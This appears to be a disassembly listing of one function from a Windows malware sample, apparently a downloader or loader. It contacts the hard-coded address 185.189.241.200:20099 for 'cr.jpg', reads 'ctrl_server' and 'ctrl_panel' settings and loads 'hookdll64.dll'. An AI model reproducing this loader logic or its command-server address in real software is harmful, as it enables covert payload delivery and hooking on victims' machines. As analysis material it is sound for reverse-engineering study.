Function at 0x140004480
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push rbp
push rbx
push rdi
push r12
lea rbp, [rsp - 0x2d8]
sub rsp, 0x3d8
mov rax, qword [0x140025010]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
call fcn.140002b00
xor r12d, r12d
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x50], r12
call fcn.140002840
mov rdi, qword [rsp + 0x50]
lea r9, [0x140002d40]
movzx ebx, al
lea r8d, [r12 + 6]
mov edx, ebx
mov rcx, rdi
call fcn.14000b3d0
lea rax, [0x140026e80]
lea rcx, [r12 - 1]
cmp bl, 1
jb 0x140004533
movzx edx, byte [rdi + 5]
movzx r10d, byte [rdi + 4]
movzx r11d, byte [rdi + 3]
movzx ebx, byte [rdi + 2]
movzx r9d, byte [rdi + 1]
movzx r8d, byte [rdi]
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004507
mov dword [rsp + 0x38], edx
add rcx, rax
mov dword [rsp + 0x30], r10d
lea rdx, str.__02X__02X__02X__02X__02X__02X
mov dword [rsp + 0x28], r11d
mov dword [rsp + 0x20], ebx
call fcn.1400027e0
jmp 0x140004565
inc rcx
cmp byte [rax + rcx], r12b
jne 0x140004533
mov qword [rsp + 0x38], r12
lea rdx, str.__02X__02X__02X__02X__02X__02X
mov qword [rsp + 0x30], r12
add rcx, rax
mov qword [rsp + 0x28], r12
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r12
call fcn.1400027e0
mov qword [rsp + 0x400], rsi
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x408], r13
mov ecx, 0x202
mov qword [rsp + 0x410], r14
mov qword [rsp + 0x3d0], r15
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140004a16
mov qword [rsp + 0x28], r12
lea r8, [0x140004a20]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x70], rax
call fcn.140001210
mov rdx, qword [0x140026ea8]
mov rcx, qword [rdx]
mov qword [rdx], rdx
mov rdx, qword [0x140026ea8]
mov qword [rdx + 8], rdx
cmp rcx, qword [0x140026ea8]
mov qword [0x140026eb0], r12
je 0x140004609
nop dword [rax]
mov rbx, qword [rcx]
mov edx, 0x18
call fcn.140007164
cmp rbx, qword [0x140026ea8]
mov rcx, rbx
jne 0x1400045f0
mov rcx, qword [0x140026f38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [0x140026f30]
lea rdx, [rbp + 0x10]
lea rcx, [0x140026f30]
mov qword [rbp + 0x10], 0x7a3e59fc
mov dword [rbp + 0x1c], 0xe7c9a301
call qword [rax + 0x18]
mov rcx, qword [0x140026f38]
mov edx, 0x3e8
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
mov ecx, r12d
sete cl
mov dword [rsp + 0x4c], ecx
test eax, eax
jne 0x140004665
lea ecx, [rax + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r15d, 2
mov qword [rsp + 0x50], r12
lea rax, [rsp + 0x44]
mov dword [rsp + 0x28], r15d
lea r9, [rsp + 0x50]
mov dword [rsp + 0x44], r12d
lea r8, str.cr.jpg
mov qword [rsp + 0x20], rax
lea edx, [r15 + 1]
lea rcx, str.185.189.241.200:20099
call fcn.140003710
test eax, eax
je 0x1400046b3
mov r13, qword [rsp + 0x50]
mov dword [rsp + 0x60], 0xa
jmp 0x1400046e0
mov r9d, 0x2710
lea r8, [rsp + 0x44]
xor edx, edx
lea rcx, str.cr.jpg
call fcn.140002ea0
mov r13, rax
test rax, rax
je 0x140004a03
mov dword [rsp + 0x60], reloc.Cabinet.dll_FDICreate
mov esi, dword [rsp + 0x44]
lea rax, [rsp + 0x48]
add esi, 0xfffffffc
mov qword [rsp + 0x20], rax
mov edx, esi
mov dword [rsp + 0x40], esi
lea r9, [rsp + 0x58]
mov r14d, 0xbb8
lea r8, str.ctrl_panel
lea rcx, [r13 + 4]
call fcn.140002620
mov ecx, 0x4e20
test eax, eax
jne 0x140004742
mov rax, qword [rsp + 0x58]
mov r14d, dword [rax + 4]
cmp r14d, 0x64
jge 0x140004732
mov r14d, WSAAsyncSelect
jmp 0x140004739
cmp r14d, ecx
cmovg r14d, ecx
cmp dword [rax], r15d
je 0x140004a16
movzx eax, word [0x140021888]
lea r9, [rsp + 0x58]
movsd xmm0, qword [str.hokdf.jpg]
lea r8, str.ctrl_crc32
mov word [rbp + 0x1c8], ax
lea rcx, [r13 + 4]
lea rax, [rsp + 0x48]
movsd qword [rbp + 0x1c0], xmm0
mov edx, esi
mov qword [rsp + 0x20], rax
call fcn.140002620
test eax, eax
jne 0x140004825
mov rdi, qword [rsp + 0x58]
cmp byte [rdi], r12b
je 0x140004825
nop word [rax + rax]
mov rcx, rdi
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp byte [rdi + rax + 1], r12b
lea rax, [rax + 1]
jne 0x1400047b0
lea rbx, [rax + 1]
mov rax, 0xffffffffffffffff
add rbx, rdi
nop dword [rax]
cmp byte [rbx + rax + 1], r12b
lea rax, [rax + 1]
jne 0x1400047d0
mov esi, dword [rbx + rax + 1]
lea rdi, [rbx + rax]
lea rdx, str.hookdll
add rdi, 5
call fcn.14000b2b8
test eax, eax
je 0x1400047fe
cmp byte [rdi], r12b
jne 0x1400047a0
jmp 0x140004821
lea rcx, [rbp + 0x1c0]
sub rcx, rbx
nop dword [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x140004810
mov r12d, esi
mov esi, dword [rsp + 0x40]
mov r9d, r14d
lea r8, [rsp + 0x40]
mov edx, r12d
lea rcx, str.hookdll
call fcn.140002ea0
mov qword [rsp + 0x58], rax
mov rbx, rax
test rax, rax
jne 0x140004900
lea rax, [rsp + 0x50]
mov dword [rsp + 0x48], ebx
xor edi, edi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x10]
mov qword [rsp + 0x68], rdi
lea r8, str.ctrl_server
mov edx, esi
lea rcx, [r13 + 4]
call fcn.140002620
lea esi, [rbx + 1]
test eax, eax
jne 0x14000489d
mov rcx, qword [rbp + 0x10]
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x68]
mov edx, esi
call fcn.140004020
mov ebx, dword [rsp + 0x48]
mov rdi, qword [rsp + 0x68]
lea rax, [rsp + 0x40]
mov dword [rsp + 0x28], 3
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x1c0]
mov edx, ebx
mov rcx, rdi
call fcn.140003710
mov rbx, qword [rsp + 0x58]
xor r15d, r15d
test eax, eax
cmovne r15d, esi
test rbx, rbx
jne 0x140004900
mov r9d, r14d
lea r8, [rsp + 0x40]
xor edx, edx
lea rcx, str.hookdll
call fcn.140002ea0
mov rbx, rax
test rax, rax
je 0x1400049cd
mov r15d, 3
mov esi, dword [rsp + 0x40]
lea rax, [rsp + 0x4c]
imul edi, r15d, 0x64
lea rcx, [rbx + 4]
lea r9, [rbp + 0x10]
mov qword [rsp + 0x20], rax
lea r8, str.hookdll64.dll
lea edx, [rsi - 4]
add edi, dword [rsp + 0x60]
add edi, dword [rsp + 0x4c]
call fcn.140002620
test eax, eax
jne 0x1400049e0
lea rcx, [rbp - 0x80]
call fcn.140005310
mov eax, dword [rsp + 0x44]
lea r8, [rbp - 0x80]
mov edx, dword [rsp + 0x4c]
mov rcx, qword [rbp + 0x10]
mov dword [rbp - 0x50], eax
lea rax, [fcn.140002620]
mov qword [rbp - 0x38], rax
lea rax, [fcn.140006320]
mov qword [rbp - 0x30], rax
lea rax, [fcn.140002ea0]
mov qword [rbp - 0x28], rax
lea rax, [fcn.1400033f0]
mov qword [rbp - 0x20], rax
lea rax, [fcn.140003710]
mov qword [rbp - 0x18], rax
lea rax, [0x140003ae0]
mov qword [rbp - 0x10], rax
lea rax, [fcn.140004020]
mov qword [rbp - 8], rax
lea rax, [0x140004280]
mov qword [rbp], rax
lea rax, [0x1400014e0]
mov qword [rbp + 8], rax
mov dword [rbp - 0x5c], edi
mov qword [rbp - 0x58], r13
mov qword [rbp - 0x48], rbx
mov dword [rbp - 0x40], esi
call fcn.140006320
jmp 0x1400049ed
xor r8d, r8d
mov edx, 0x3ea
call fcn.140004360
call fcn.140003ac0
int3
mov r8d, edi
mov edx, 0x3eb
call fcn.140004360
mov rcx, qword [rsp + 0x70]
mov edx, 0x4e20
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.140003ac0
int3
xor r8d, r8d
mov edx, 0x3e9
call fcn.140004360
call fcn.140003ac0
int3
call fcn.140003ac0
int3